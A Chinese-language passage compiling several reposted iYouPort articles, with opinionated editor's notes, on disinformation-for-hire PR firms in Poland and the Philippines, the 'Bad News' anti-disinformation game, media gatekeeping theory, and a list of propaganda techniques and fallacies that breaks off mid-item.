Pruszkiewicz 说，她和她的同事使用虚假的 Twitter 和 Facebook 账户为该公司的客户满足需求。这意味着宣传波兰官方媒体、给雇佣他们的政客打气，或者攻击政府下订单购买美国 F-35 战斗机的决定。

Cat@Net 的员工都是远程工作的，聚集在 Slack 中接受任务。有时，专业的文案人员会给他们提供内容，但很多时候都是由员工自己来为假账户想出需要发布的内容。团队成员会互相庆祝成功，比如 “当某个重要人物，比如政治家，回复了假账户的评论之后”，Pruszkiewicz 说。

据 Pruszkiewicz 揭露，**Cat@Net** 专注于雇用残疾人，因为他们的薪水可能更低，而且有资格获得政府补贴。

“他们坐在轮椅上，还要为生活支付各种账单。他们往往没有专业技能， Cat@Net 给他们提供了工作，并从国家那里得到了很多的钱，正由于雇用了这些人，”她说。

（编者注：这里指的是类似中国也存在的 “解决残疾人就业问题” 福利措施，雇佣方将因此获得税收减免和补助）

她的揭露报道于2019年10月在波兰《新闻周刊》上发表后，波兰政府针该对公司获得的伤残福利展开了调查。但是，Pruszkiewicz 说，由 **Cat@Net** 经营的 **Twitter** 帐户仍然在线。

（编者注：intercept 在去年6月揭露了信息战假人@HeshmatAlavi 后，推特 “短暂” 封锁了那个账户，但不久后，这个假人再次活跃起来。在这里看到报道《一个惊人的案例：积极的反政府抗议者居然是个假人》）

“这些伪造的帐户今天仍然存在，并且在 **Twitter** 上就像什么都没有发生一样，每天我都能看到他们在 Twitter 和 Facebook 上写的内容”，她说：“这真令人沮丧，因为我花了六个月的时间进行调查，而且那个黑公关公司仍然存在。”

（编者：揭露究竟有什么用？…… 不要指望寡头公司和政府会重视这些揭露，因为他们都是黑公关产业的既得利益者 —— 寡头公司从黑公关带来的广告收入中赚钱，而政府政客就是他们的客户。抵制信息

战操纵必须通过不甘心被洗脑的公民组织抗议活动来实现对该产业形成的冲击）

- ○ ■ ■ ■ 黑公关公司的崛起与菲律宾的行销和政治息息相关。这里有许多合法的代理机构提供黑公关服务，包括虚假的社交媒体帐户、假网站和协调运动的骚扰活动（就是 trolls 和 doxing）。

今年，Facebook 宣布了对一系列虚假账户的删除，这些假账户被归因于菲律宾数字营销公司 **Twinmark Media Enterprises** 的操纵、以及菲律宾总统罗德里戈·杜特尔特（Rodrigo Duterte）2016年竞选活动社交媒体总监 Nic Gabunada 的信息战资产。

（编者注：请注意是2016年竞选活动，而现在是2020年。信息战早已成功，而 Facebook 早已拿到了它的广告费支付）

Gabunada 此前在接受 BuzzFeed News 采访时坚持认为，杜特尔特竞选活动的 Facebook 参与是 “有机的” 和 “志愿者驱动的”。

正如 BuzzFeed News 先前报道的那样，一些"曾经谴责"杜特尔特在**2016**年使用假 **Facebook** 帐户和 **trolls** 进行信息战的政客们在自己的竞选活动中也同样使用了这些社交媒体操纵的黑公关服务。

黑公关服务在菲律宾已经非常有利可图，以至于许多公关公司都感到有压力不得不去提供这些服务。

一位代理商总监告诉 BuzzFeed News，由于潜在的利润太大，它 “很愿意” 提供黑公关服务。她补充说，如果你不做，就很难与提供这些服务的公司竞争。

“例如，我们进行了几次竞选活动，与其他同行公司抗衡。如果我们正在提升某个候选人，而他们正在反对该候选人，那么这些对手公司就会愿意采取任何策略来打击我们在市场上所投放的一切。” 要求不透露姓名以自由谈论该行业的机构主管说。

（编者注：所谓的民主选举如今已经变成了这些黑公关的市场竞争战。这是支持民主的人们的噩梦、太多人不愿承认的事实。也许我们是时候重新考虑选举本身了，因为，正如监视资本主义，它们都是在巨额利润的推动下霸权全世界的，它们有充分的动力拒绝变革。《投票可能正是民主的问题》）

麻省大学阿默斯特分校全球数字媒体副教授 Jonathan Corpus Ong 多年来一直在研究黑公关公司和菲律宾 trolls。

他对 BuzzFeed 新闻说："菲律宾为其他国家/地区提供了一个警示性的故事，说明公关行业中虚假信息的生产已经变得非常有利可图，以至于这些肮脏的手段已经从早年的黑幕交易中转移到了公司董事会的专业声誉上。"

Ong 表示，公关公司在与客户沟通时会使用大量的行业术语（外界看不懂的东西），以"消除他们实际从事的虚假信息工作的污名"。

例如，当他们向潜在客户推销服务时，他们会使用"补充页面"和"数字支持人员"这两个术语来描述"假新闻站点"和"付费 trolls"。这给交易带来了尊敬的光环，而且至关重要的是，赋予了政客合理的可否认性，他说。

黑公关公司的兴起已成为全球公关行业的关注焦点，而全球公关行业长期以来一直在解决自己制造的问题。

2017年，该行业反对社交媒体操纵，当时公关和传播协会在调查其在南非的工作后，驱逐了现已倒闭的伦敦公关公司 **Bell Pottinger**，该公司在为南非亿万富翁客户服务时引发了种族紧张局势。

Bell Pottinger 此前曾从五角大楼获得了一份**5**亿美元的合同，"在伊拉克执行"一项最高机密的心理战政治宣传计划。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6854

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/7126

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6847

全球代理商通常会参考行业规则。公关巨头 Weber Shandwick 的首席传播和市场营销官 Jill Tannenbaum 告诉 BuzzFeed News，即使公司“在不诚实策略发生的市场中竞争”，也必须“通过扎根于真实的广告活动以吸引受众”。

Bell Pottinger 被关闭后，代表全球公关贸易团体的伞形组织国际公关顾问组织（International Communications Consultancy Organisation）建立了10条原则，即赫尔辛基宣言。

他们要求传播专业人士“意识到社交媒体的力量，并负责任地使用它”，并“绝不参与创建或明知故犯地传播假新闻。”

PRCA总干事兼ICCO首席执行官 Francis Ingham 告诉 BuzzFeed News，黑公关公司给道德从业者带来了个坏名声。

虽然合法的公关行业致力于与这些从业者区分开来，但是，平台发现从其生态系统中去除黑公关已经变得越来越困难。

Facebook 的 Gleicher 说：“如果该公司正在多个平台上工作并且拥有广泛的商业利益，我们可能无法完全摧毁它们。”

他说，Facebook 的方法是删除涉及特定业务的资产，并禁止整个组织。在某些情况下，Facebook 还禁止关键员工使用该平台。

然而，**Peng** 并没有犹豫。他说，逃避 **Facebook** 的控制非常容易，而且对他的服务的需求仍然强劲。

他说，“我认为破解 Facebook 非常容易。我开发的软件旨在不断与 Facebook 对抗。这样做是因为有市场、足够的客户和需求，尤其是人们有钱来支付服务费用。我们这样做就是因为有需求。”○

Disinformation For Hire: How A New Breed Of PR Firms Is Selling Lies Online

原文

如何经营一个假新闻帝国？ - iYouPort

关于真实的“媒体”-真相衰变心理战和信息战

来，切身体会信息战

「图」

「图」

你有没有想过，要经营一个假新闻帝国，抹黑事实检查员、同时引起全国性丑闻、并从半真相中制造阴谋论 …… 会是一种什么样的感觉？

好吧，现在您可以做到 —— 任何人都可以做到。

这是一个电脑游戏。名为 “Bad News” 的网络浏览器游戏将带领您进入成为阴谋论者的奇异经历。

从冒充公众人物到 **trolls**，它打开了一个在线信息战世界的窗口。

- 不要错过，关于全球信息战最好的报告《看清信息战：2019全球有组织社交媒体操纵清单》您能看到这件事有多可怕

☞这款游戏就如同一个培养警惕性的 “疫苗”，通过给玩家提供模拟的虚假信息手段，以帮助人们免于遭受信息战的侵害。

该游戏由剑桥大学和荷兰反虚假信息平台DROG的研究人员创建。

DROG 创始人 Ruurd Oosterwoud 自2014年以来就将虚假信息作为其专业课题，当时他意识到我们对事实检查和管理虚假新闻的 “本能反应” 不足以应对危机。

Oosterwoud 说：“这些措施都是被动的，而且会占用您所有的时间。”

“结果却是，它们并没有阻止问题。我希望人们从个人的角度去理解

它，通过亲手构建虚假信息生成器，来理解创建现实的虚假信息是多么容易。”

☞这一思路就如我们对开源情报调查在安防方面用例的强调 —— 只有当您能准确站在攻击者的视角上思考问题时，你才能真正做到最有效的防御。

“Bad News” 去年已经在 Reddit 上广为流传，有61,000人支持该游戏，其开发者向热心的 Redditor 回答了问题。

Oosterwoud 和他的团队与英国外交部合作，还发布了游戏的不同语言版本，包括德语、波兰语和希腊语。

我们决定亲手尝试一下这款游戏。

尝试从零追随者和中立的信誉等级开始。友善的向导会引导玩家完成整个过程，并问：“您可能对某些事情感到沮丧，对吧？所以您可以从使用 **Twitter** 进行发泄开始。”

☞从一条愤怒的推文到另一条愤怒的推文，我们开始建立追随者，攻击几乎一切事物。这很容易做到。

我们决定假扮一个知名的公众人物。在英文版本中，我们将扮演唐纳德·特朗普的角色，并宣布与朝鲜开战。在捷克版本中成为总理安德烈·巴比什（AndrejBabiš）的角色，完全模仿他的语气。

在那之后，我们得到了来自 Twitter 粉丝的回应：“天哪！他是认真的吗？特朗普彻底生气了吗？ #NoMoreWars！”

☞然后，我们假装为新闻站点的主编。选择自己的名字——“HONEST TRUTH ONLINE”。现在，准备以对气候变化的怀疑态度轰炸世界。

⚠我们了解到，在运营自己的阴谋论网站时，内容是无关紧要的 —— 因为情绪至关重要。

该游戏告诉我们：“利用人们的基本情感对其进行刺激，可能会非常有效。”但是您不必全盘复制：“通常最好以不相称的方式吹嘘现有的故事。” 这样不容易被识别到。

但是，我们有一个问题。我们只有539个关注者，因此，是时候引入机器人了。

我们的帐户影响力迅速激增，吸引了4,500位关注者。⚠这些机器人看起来很人性化，可以轻松引发 Twitter 趋势。

Oosterwoud 说："虚假信息具有很高的娱乐性，它会让你着迷。"

他解释说，" ⚠无论最终您同意还是完全不同意这些内容 —— 都意味着助长了虚假信息的影响。"

回到游戏中，现在我们对道德观念提出了严重质疑 —— 对飞机失事周围的情况表示怀疑。令人惊讶，⚠我们发现开始声称整件事是 "false flag" 攻击是多么地容易，尤其是在 Photoshop 中加一些技巧的话。

- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《公民记者如何验证民间爆料视频的真实性？》

"通过扮演坏人，可以从政治范围中同时选择两个极端，游戏不会在道德上占据上风。因此，这场比赛是如此有效。" Oosterwoud 说。

请注意：两个极端指向同一方向，我们强调过这点，见《政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？——围观 Twitter 活动地图》。

到目前为止，我们在游戏中已经有了6,000多个关注者，并且正在使用我们的机器人在 **Twitter** 上掀起风暴 —— 窃取信誉和信任。我们已经开始模仿受害者的悲伤家属；而且，我们几乎忘了所有道德规范。

☞假新闻的大多数解决方案着眼于教人们如何检查信息是否真实，就如IYP所做的那样。但 Oosterwoud 显然采用了不同的方法：

"我们认为问题不在于人们不知道如何识别造假，而是他们不了解虚假信息可以操纵什么，尤其是其中更为复杂的社会学和心理学方法。"

的确如此。

通过分析15,000名玩家的反应，创作者发现参与者在识别虚假信息技术方面变得更加出色了。换句话说，游戏起到了作用。

Oosterwoud说："我们不想教你什么是真、什么是假，我们想教你恶

意者是怎样操纵你的那些伎俩。”

在整个游戏过程中，我们已经掌握了如何模仿公众人物、如何将情感情绪转变成狂热、如何推动社会两极分化、如何从半真相中制造阴谋论、如何抹黑那些事实检查、以及如何挑衅那些敢于阻挠我们的人的一切方法。

截至游戏完成时，我们已经拥有了超过12,000位关注者，信誉评分高得离谱 ……我们操纵的信息战显然给人留下了深刻的印象。

“哇，您成功捏造了一次全国性的丑闻，而且只需几次点击就可以做到。” 您想试试吗？〇 广告

原文

守门人作为认知杀手 - iyouport

免费书和纪录片关于真实的“媒体”-真相衰变心理战和信息战

【2019年8月29日存档】守门对认知的剥夺无处不在。如果你专注于少数固定的渠道获取信息、即便在互联网上也有固定的交流圈子，即 依赖其他少数人掌握你的认知，其结果会很糟糕。希望本文能帮您了解这一危害。改变这种局面的方法说起来不难，但事实上有可能并不容易做到。

如今这个时代，每个人都可以是出版商，只需要你注册一个博客账户甚至只是一个社交媒体账户；这种情况下人们会更容易理解传媒内部的问题 – 关于审查过滤的问题，媒体在审查过程中究竟考虑的是什么？没错，就和你发推时的考虑基本相似：关于如何才能更多地吸粉。

于是这种情况下只需要能认识自己的心态，就能更容易了解为什么业内会奉劝你不要指望从媒体中了解这个世界？为什么说审查并不是中宣部那么简单？为什么你不应该过多关注那些背后有大金主的企业媒体发布的内容？为什么你对媒体的爆料虽然很值得大众了解却得不到记者的关心？……

透明度革命的一半原因是为打破这一局面 —— 取消所有守门人 —— 它强调的是信息本身是什么，而不是闭门造车的编辑自己觉得信息应该起到什么作用。（另一半原因是由于谎言作为权势的支柱，所有当权者都以改造/扭曲现实为稳固权力的手段）。

即便如此，互联网时代依旧有很多人延续传统媒体时代获取信息的习惯 – 即 通过主流媒体，或者干脆说“指望主流媒体[能提到某些事]”，这便意味着依旧赋予守门人以极大的认知掌控之权力。

今天我们来解释一下守门的概念，让更多人了解它，或许会有所帮助。

“守门”是在信息传播中过滤信息的过程，无论是出版、广播、互联网还是其他某种通信方式。守门的学术理论建立在多个研究领域，包括

传播学研究、新闻学、政治学和社会学。

守门人理论最初只关注极少数大众媒体（也就是所谓的主流媒体），但现在该理论也解决了面对面的交流和互联网固有的多对多动态中出现的信息过滤问题。

该理论最早由社会心理学家 Kurt Lewin 于1943年提出。

在媒体结构的所有级别中都有守门现象 —— 从记者决定选择哪些信息来源以包括在故事中，到编辑者决定哪些故事被打印或被覆盖，还包括媒体插播所有者甚至广告商。个人也可以充当守门人，决定在电子邮件或博客中包含哪些信息。

IYP 简要介绍过这种守门现象造成的所有问题中最严重的部分，详见《大部分审查并非如你平日的吐槽对象那般显而易见——为自由而战（二）》

—— 定义 ——

守门是媒体过滤信息的过程。

根据早起研究人士 Pamela Shoemaker 和 Tim Vos 的说法，守门是“将无数信息剔除并制作成每天传递给人们的有限数量信息的过程，它是媒体在现代公共生活中扮演的角色的中心。这个过程不仅决定选择哪些信息将被呈现出来、哪些不会呈现，还决定了消息的内容和性质，例如它是不是新闻。”# 在执行其“监视”功能过程中，每个新闻媒体都会获得大量的故事，每天都被记者、有线电视服务和各种其他来源所关注。

- 由于许多实际考虑因素，任何媒体都只有有限的时间或空间可用于每日向观众呈现新闻。剩下的空间必须用于广告和其他内容。
- 在任何新闻机构中都有新闻视角、亚文化，包括一套复杂的判断特定新闻故事的标准 —— 请注意是基于媒体经济需求的标准，还有组织政策、新闻价值的定义、相关受众的性质概念、关于记者的信念等等参数。
- 新闻视角及其复杂标准由编辑、新闻主管和其他人员使用，他们选择出有限数量的新闻报道向公众展示。然后，他们以满足媒体要求和观众口味的方式对其进行编码。
- 因此，新闻机构的人员是固有的守门人，他们有权让一些故事通过审查系统，并让其他故事排除在外。这样就限制、控制和

塑造了公众对现实中发生的实际事件的总体了解。

1. 信息逐步通过审查通道。通道数量各不相同，每个通道的时间量也各不相同。

- 信息必须通过“门”从一个通道移动到下一个通道……
- 有一些力量在管理这些通道。可能存在导致冲突的相反的心理力量，这会对通过通道的内容产生阻力。
- 可能有几个通道会导致相同的最终结果。
- 不同的参与者可以控制通道并在不同时间充当守门人。

1. 门 – “进出网络或其某个部分的通道”；

- 守门 – “在通过大门时控制信息的过程。包括选择、添加、扣留、显示、引导、整形、操纵、重复、定时、本地化、整合、忽视和信息选择”；
- 门控 – “受到守门操作的实体”；
- 守门机制 – “用于执行守门程序的工具，技术或方法”；
- 网守 – “一个实体（人、组织或政府），有权通过网络中的守门机制进行守门，并可根据门控情况选择行使守门的程度。”

1. 与守门人有关的政治权力；

- 信息生产能力；
- 与守门人的关系；
- 在守门的背景下的替代品。

然后，这些特征组合的类型允许基于个体具有的属性的数量和类型来评估网守和门控之间的潜在交互。她关于“门控”的讨论引起了观众的注意，因为两者都在守门的过程中赋予信息接收者以权力。

—— 选择新闻故事的五个标准 ——

记者在选择新闻报道时依赖五个标准：

1、第一个标准是强烈影响力。本地故事比人们不熟悉的国际事件更能影响公众。为了吸引注意力，记者们将新闻曝光并将其呈现为可能发生在任何人身上的情况。他们将罕见的国际危机转变为日常情景、个性化故事，并在此过程中隐藏/失去其主要意义。

2、暴力、冲突、灾难或丑闻是第二个标准。诸如谋杀、战争、枪击或飓风等话题更容易吸引观众的注意力。包含很多暴力内容的报纸超

过了其他包含较少暴力内容的报纸的销量。

3、第三个标准是熟悉。如果新闻报道存在与公众有关的问题，或者如果它们包含有关垂直层面大量受众熟悉的情况，则会引起更多关注。记者试图将国际事件或危机转化为可以与当前受众相关的故事。于是媒体倾向于保留大量关于名人的信息，并倾向于关心他人生活中的个人亲密关系，比如绯闻。有关名人或总统死亡的新闻可能会在更深层次上产生共鸣，使某些事件能够在读者记忆中停留更长时间。

4、接近是第四个要素。人们更喜欢本地的新闻，近在咫尺。与国际或国内事务相比，人们更关注当地的新闻。当地媒体做得很好，因为他们把大部分故事都集中在当地活动上，大约75%。国际和国内新闻都不如本土的。

5、第五个要素是及时性和新颖性。新闻应该是一些有趣的东西，不是每天都会发生的东西，也不是一个不属于人们生活的事件。诸如飓风或新店开张等活动引起了许多人的注意。

综合起来显然，媒体在推动受众视野的局限性，而不是打开视野。IYP 经常会介绍其他国家的反抗经验，为的就是突破这点，因为如何你只能盯着中国本土，不仅很难看到专业性的反抗智慧，并且会由于缺乏成功的反抗实践而导致虚无主义上升，以及狭隘的“中国特殊论”的来源。

—— 标准的影响 ——

新闻标准迫使记者和新闻媒体频繁发布新故事；记者参加当地活动，以便快速轻松地获取故事；当事件难以报道时，记者会采访该事件或相关领域的专家。而恰恰是上述五个标准规定了选择哪些事件可以被呈现出来、哪些不能。

报纸的容量大小也决定了要发布哪些故事以及要跳过哪些故事。一旦故事到达新闻媒体，编辑必须确定选择哪些故事。编辑们不会花太多时间选择故事。普通编辑必须在几秒钟内作出选择，全凭直觉。电视和电台可以报道更复杂的故事，他们有更多时间可以深入描述事件、背景和原因，纸媒则不行。包含上述五个标准的故事几乎总是成为新闻的头版。这些类型的故事的频繁出现经常导致公众的偏见。

结果是，你从新闻中看到的基本都是过眼云烟的东西，刺激性情绪是保留最短暂的效果，人们难以从新闻热点中寻求到现实意义；但媒体本身为了加强热点的热度还在拼命寻求付费发言的知识分子对其进行

评论。

结果是，对知识分子而言就是“我被认为需要对这个问题感兴趣”，而不是“我觉得这个问题值得说说”。

并不是没有真正值得说说的内容，但它们经常不在热点新闻中；即便在，很多媒体也不能或不敢说得太多，比如老布什死亡时的大众气氛被分析为“悲哀”，于是依赖流量生存的媒体就不能在这种时候指出老布什实际上只是个种族歧视并无视法治的战争贩子。而独立媒体就能做到说出实话，详见《老布什不是你认识的那个人》

也正因为这种效果，名人明星的绯闻和私生活也经常被“网守”用来转移公众对重大社会和政治问题的注意力；媒体会很乐意执行这一守门模式，因为这会给它们带来更多的流量。

好了，希望这篇文章的梳理能帮您理解媒体，理解是谁在掌握/霸占大众的认知；于是本文读者将最有希望做到尽可能减轻这种绑架所带来的影响。

原文

宣传战的诡迹 - iyouport

免费书和纪录片心理战和信息战

【 2019年6月21日存档】政治宣传最常用的模式有哪些？不止是当权者采取的政治宣传，在党派/派系斗争中也经常采用这些方法。认清它们，可以避免被误导-- 在这种宣传战中你支持任何一方都只能是被利用。

不止是当权者采取的政治宣传，在党派/派系斗争中也经常采用以下这些方法。认清它们，可以避免被误导—— 在这种宣传战中你支持任何一方都只能是被利用。

1、诉诸人身：指借由与当前论题无关的个人特质，如人格、动机、态度、地位、阶级或处境等，作为驳斥对方或支持己方论证的理据。诉诸人身又称作“对人不对事”、“因人废言”或“因人设事”、“以人废言”。

诉诸人身可诉诸负面特质（也称作人身攻击谬误）、正面特质、或中立特质（比如诉诸权威）。诉诸人身推论指向特定人物的某些属性并声称这些属性可以影响其可靠性。正面诉诸人身，意在提高对方的可靠性。反面诉诸人身，是贬低其可靠性。

正面特质，也称因人纳言，是指仅根据论证者个人的品德高尚、出众才华、处境优越或自己对论证者的好感，就轻率地肯定其论断或观点，而不考虑其论断的内容是否真实或其论证过程是否正确，这是一种常见的谬误，比如上级、领导、老师、学长等。人身保护的谬误属于典型的因人纳言，具体包括两类：

- 人格人身保护是以自己或他人的人格高尚为理由，诱使他人相信其论题为真，其实人格优秀的人坚持的看法未必就是正确的；
- 处境人身保护是以自己或他人处境优越为理由，诱使他人相信其论题为真。但是要知道，即便处于同样的出境中也会有完全不同的理解。

负面特质，也称因人废言、人身攻击谬误，是指仅仅根据论证者在品质、名声方面的缺陷，所处环境的特殊性，以往有过错等方面的原因或自己对立论者的厌恶态度，而不考虑立论者的论断内容是否真实，也不根据逻辑反驳的规则和要求，就对立论者的论点加以否定而表现出来的一种谬误。例如说“支持**的人都没读过书”、“支持**的人都思想落伍，不愿接受新资讯”等就是这类的谬误。

多伦多大学学者道格拉斯·沃尔顿指出，常规上，诉诸人身可以分类为：辱骂性(Abusive)、情境性(Circunstantial)、扣帽子以及诉诸伪善。

- 扣帽子、人身攻击：将各种不利的条件或观点强加至对方身上
- 秽言谬误：以不雅的言词攻击对方
- 诉诸动机：质疑对方有某种立场或地位，因此其提出之主张是基于不良的动机、企图。
- 你也一样：对方批评某件事不对时，批评对方自己也做了那件不对的事。
- 诉诸智能：批评对方智能不足或精神有问题，因而其主张不可采。
- 罪恶关联：指控支持某观点的人必然归属于某个形象不好的团体。
- 诉诸成就：主张由于某人或某人的团队没有达成某项成就，因而其针对某事的主张不可信。
- 诉诸富贵：断言富足者的观点较正确，或断言贫困者的观点不正确。
- 诉诸贫困：断言贫困者的观点正确，或断言富足者的观点不正确。
- 诉诸好人：宣称某人有某些美德，因而其主张可采。

如果当前论题确实与对方有关，那么并不是诉诸人身。

例如，参选人A：“不要投票给参选人B，因为他上次当选后，很多选举承诺都没有兑现。”

说明：一个人是否有信用，是选举中选民是否该选他的重要依据，因此选举时提出诚信问题，并不是犯下谬误；而在讨论一个人的诚信时，把此人过去的信用纪录拿出来是与讨论的话题直接相关的，因此不算是人身攻击。

2、诉诸反复：是指借由宣称某个观点已经被充分讨论多次、至今没有人反驳过我的观点、反方的论点之前都已经驳斥过等等，而回避对

某个断言提出的举证。

举例：甲：死刑是错的，我们应该废除死刑；乙：为什么死刑是错的；甲：这问题学界已经讨论过千百遍了，死刑是不对的。

甲：酒驾不能算谋杀，顶多算是有认识的过失；乙：可是大家都认为酒驾就是谋杀，为什么不能算？；甲：这已经被讨论过无数次了，我不想再说。

3、诉诸权威：或称伪托权威、援假权威，是一种特殊类型的归纳论证谬误，通常以统计三段论的形式来表达。虽然有时某些类别的诉诸权威能够成为有力的归纳论证，但是这种论证通常都存在被误用的情况。

根据统计三段论，诉诸权威的表达方式为：

- 专家甲在乙领域说的任何事情都是正确的。
- 专家甲在乙领域提出了丙理论。
- 因此，丙理论是正确的。

这种归纳的论证方式是基于以下两项因素：

- 专家甲是乙领域的专家。
- 丙理论是在乙领域的专家们的讨论下得出的共识。

这些条件也可以加到论证本身的结构中，形式如下

- X认为A是正确的。
- X是该领域的专家。
- 专家们（或经典文献）认同X。
- 因此，假定A是正确的。

诉诸不相关领域的权威也是一种常见的诉诸权威错误。假设专家甲是领域乙的权威，他对领域乙的发言大都是可靠的，但如果将专家甲在领域丙的言论也视为可靠，而专家甲并非领域丙的权威，就是属于一种错误的诉诸权威。但非常能唬人，网络大V名人使用的就是这种宣传方法。

另一种诉诸权威的谬误是将权威说的话都当成正确。从刚才的例子可得知，虽然专家甲是领域乙的权威，但不代表他在领域乙的发言就一定是正确。相关推论的正确性应该由理据的充分性来决定，尤其是对于专家彼此争辩中的、尚未取得共识的议题。如果只是质疑提出问题

的人的发言权，无论他是不是权威，都犯下了诉诸人身的谬误。

甚至只要称之为权威，不署名都是经常被滥用的。例如，“有位心理学家说过，每人都有犯罪倾向”、“许多研究（而没有具体提及相关研究）都认为，对于谋杀，死刑不比无期徒刑有更强的吓阻效果”、“历年来的研究（而没有具体提及相关研究）显示，严刑峻罚不能减少犯罪”、“多数的研究（而没有具体提及相关研究）都认为对儿童诗用体罚会导致更多的偏差行为。”

4、诉诸恐惧：这是一种逻辑谬误，同时也是一种宣传和广告最常用的技巧，意图让人产生恐惧或偏见，进而采取某些抵抗恐惧的措施、或接受某些信念。

恐惧是一种人类最原始的情感之一，也是人类生存的一种直觉反应，当人类感到恐惧的时候，经常会做出一些可怕或不寻常的事。正由于这种天性，恐惧是最常被宣传者使用的技巧之一，而且十分有效。

诉诸恐惧最常见的例子，是宣传者或广告会警告阅听人可能面临的危险或灾难，如果不立刻跟随或改变信念，就会身陷于危难当中，希望人们借此改变行为或信念，以减少恐惧，例如：

- 你再继续酗酒，就会跟你爸一样早死！
- 你如果高中毕不了业，就只好穷一辈子！
- 把票投给他们就等于把票投给恐怖分子！

宣传者在上面的例子中都以恐惧来强化自己的讯息，但所诉诸的恐惧是否真的与讯息相关，往往值得存疑。

诉诸恐惧还有几种特殊的类型，例如恐外症（xenophobia）、对恐怖主义的恐惧、对犯罪的恐惧、对经济困顿、环境灾难、天灾、人口爆炸、侵犯个人隐私或歧视等恐惧。宣传者可以从如此宽广的恐惧光谱中挑选相关的恐惧置入讯息当中。当恐惧的背景资讯不是很充分的时候，诉诸恐惧的效果可以随着消息的不确定性与猜疑而倍增。当这种不确定推至极致时，就成了阴谋论。

伊拉克战争前，美国政府强力宣称伊拉克拥有大规模毁灭性武器，借此合理化出兵伊拉克的行动。而许多广告、政治宣传、网络谣言及都会传奇也大量了使用诉诸恐惧的技巧。

5、诉诸群众：这也是一种逻辑谬误、一种社会心理的状态、也是一种宣传的技巧，常被称为“从众”，代表人类害怕在社会中被孤立，因

而向社会其他多数靠拢的一种过程。

人类经常会有一种倾向，去从事或相信其他多数人从事或相信的东西，就是所谓的“从众效应”。为了不让自己在社会中孤立，所以社会个体常常不经思考就选择与大多数人相同的选择，而从众效应就是诉诸群众的谬误和宣传的基础。

从众效应衍生出谬误，又被称为“从众谬误”，就是将许多人或所有人所相信的事视为真实，例如“大家都这么说，一定不会错”！例如“很多人都有吸烟、喝酒或犯法，因此这些都是对的或不危害健康的”、“欧洲所有的国家都禁止体罚，我国也该禁止体罚”、“美国都有棱镜计划，我们也应该有”……

但许多事实证明，多数或所有人相信的事情，在当下或经过了时间的演进，也并不一定就是对的，比方说，西方古时候几乎所有人都相信我们所处的世界是宇宙的中心的地心说，日心说甚至被天主教会禁止。

建构于从众效应的宣传手法则是更常见的宣传法，宣传者营造出一种“加入我们，否则就是与大家作对”的气氛，要求听者接受某种仿佛大家都接受的想法。诉诸群众的宣传也暗示听者：“与胜利者站在同一边，不要去计较是非！”

从众效应也常常与其他的手法合并使用，例如在广告中经常可以看到类似“每五个医师中就有四个推荐某种牌子的口香糖……”的文案，这种文案同时利用了从众效应及“诉诸权威”两种宣传手法或谬误。

6、非黑即白：是指提出少数选项（一般是两个，但有可能是三个或更多，要你从中选一个，但这些选择并未涵盖所有的可能性。非黑即白是一种非形式谬误。现实生活中很多事都有中间地带，很多时候中间解是更好的解，因此要人在少数选项中选一个的做法往往涉及假两难。

非黑即白是基于对排中律的误用。排中律只适合衡量非此即彼的二元观念（例如“对与错”、“真与假”等等），用于其他范畴未必恰当。要破解此类谬误，可证明除了论证中提出的选项外，还有其他可能。就像“你要不就是跟我们一伙的，要不就是与我等为敌的”（You’re either with us, or against us）这类的讲法在某些情况下，会被视为假两难或非黑即白的二分法之一的例子。

有时假两难是被刻意提出以迫使他人做出选择的，但其他时候它是因

不小心忽略其他可能性，而非蓄意造成的。

例如，A：“你不要整天吃东西！” B：“都不吃的话，我饿死怎么办？”

“整天吃”和“不吃”只是两个极端，中间还有适度进食的可能，但是被主动忽略。

再比如，“你要么是外向的，要么是内向的。”

内外向牵涉到很多的情境和变数，同一个人在不同情境下的表现会有所不同，可能在情境甲之下比较外向，在情境乙之下比较内向，因此内外向不是截然二分的，而是一个连续体，多数的人都介于完全的内向与完全的外向之间。

再比如：“我一直把你当朋友，但你竟然在我面前帮那个坏人说话，你这是不把我当朋友，所以从今以后，你就是我的敌人！“

把所有帮对方说话的人都当成敌人，是在强迫他人选边站，是在消灭中间立场。

如果有充分的理由证明一件事情就是非此即彼、没有别的可能性，那就没有犯下假两难谬误。

一个不是谬误的例子：“假设一辆电车驾驶面对两个轨道，只能决定走其中之一；有五个人在其中一条轨道上工作，在另一条轨道上只有一个人；电车进入的轨道上，如果有任何人，都会注定被杀。”

7、个人崇拜：指以大规模宣传手段将某个人在一个社群中塑造成崇拜对象，通常都通过媒体手段将其人格形象理想化、英雄化甚至神化。

当政府利用大众媒体、宣传及其他方式予以不质疑的奉承和频繁的颂扬、美化等等，将某一在世（或已身故）的政治领袖塑造为英雄化、神化、理想化的公众形象，则自然会产生个人崇拜的群众现象。这些崇拜与人类本身具有的英雄仰慕等心理类似，但区别在于个人崇拜是非自主性的仰慕，必须同时伴随大量可被限制的单一媒介，将一位普通人物，进行一边倒的形象包装、过度高估的领袖特质等荒腔走板的宣传，在常态下通常人都有缺点，而个人崇拜的民众却说无法被说出来。此外，对偶像的负面批评通常是不被容忍的和不配存在的，会被视为错误、反动思想，甚至到了不配合表达效忠（如统一佩戴胸章）就会被整肃的程度，这点是两者之间的最大差别。

通常个人崇拜现象有以下表征，但下列特点既非判定个人崇拜的必要条件，也非充分条件。

- 崇拜对象个人及其理论被绝对化、神圣化、教条化
- 崇拜对象以“救世主”或“解放者”的形象出现，人们对其不再具有批判、质疑的权力
- 崇拜的程度达到迷信的程度
- 由政客群体、社会群体共同参与的，有时甚至包括所有社会成员
- 被崇拜者通过一切手段来巩固和强化，并利用人们的崇拜来维系他的地位与权利
- 对异见者处以逮捕、酷刑、禁锢甚至死刑

个人崇拜需要不断地统一宣传并排斥不协调意见的流行，这需要一些机构和政治群体来维护，当这些机构和群体是个人崇拜的受益者时，他们有足够的动力维持现状。但当崇拜对象死亡或发生意外时，容易使得政治形势剧烈变化而发生动荡，这是个人崇拜不如传统宗教神权稳定的主要原因。

8、妖魔化：是一种将敌手宣传为只有破坏性目标的邪恶侵略者的国家政治宣传技巧。妖魔化是最古老的宣传技巧，旨在激发对敌人的仇恨使之更易被打击，起到保护和动员盟友，使敌人沮丧的效果。

由于术语妖魔化的频繁误用, 学者已不再分析它的可能语气。这就是为什么朱尔斯·博伊科夫定义了妖魔化的四个准则：

